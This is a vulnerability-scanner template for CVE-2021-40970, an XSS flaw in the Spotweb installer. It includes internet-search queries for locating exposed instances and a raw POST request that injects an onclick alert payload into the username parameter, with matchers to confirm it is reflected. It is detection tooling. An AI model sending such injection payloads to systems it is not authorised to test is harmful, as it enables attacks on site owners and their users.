id: CVE-2021-40970

info:
  name: Spotweb <= 1.5.1 - Cross Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the username parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: Fixed in version 1.5.2
  reference:
    - https://github.com/spotweb/spotweb/
    - https://github.com/spotweb/spotweb/issues/711
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40970
    - https://github.com/spotweb/spotweb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40970
    cwe-id: CWE-79
    epss-score: 0.01286
    epss-percentile: 0.79886
    cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: spotweb_project
    product: spotweb
    shodan-query:
      - title:"SpotWeb - overview"
      - http.title:"spotweb - overview"
    fofa-query: title="spotweb - overview"
    google-query: intitle:"spotweb - overview"
  tags: cve2021,cve,xss,spotweb,spotweb_project,vuln

http:
  - raw:
      - |
        POST /install.php?page=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        settingsform[username]=pdteam'+onclick='alert(document.domain)

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "onclick='alert(document.domain)"
          - "Spotweb"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402206d1f95009422d6f80986e737eb15ad57e079bfa5685849bd4b4e0a11130114b802207ff8b49a59ec07f7fb57c9cc81fd15509475051f5c65b3795280c92ec60a8e92:922c64590222798bb761d5b6d8e72950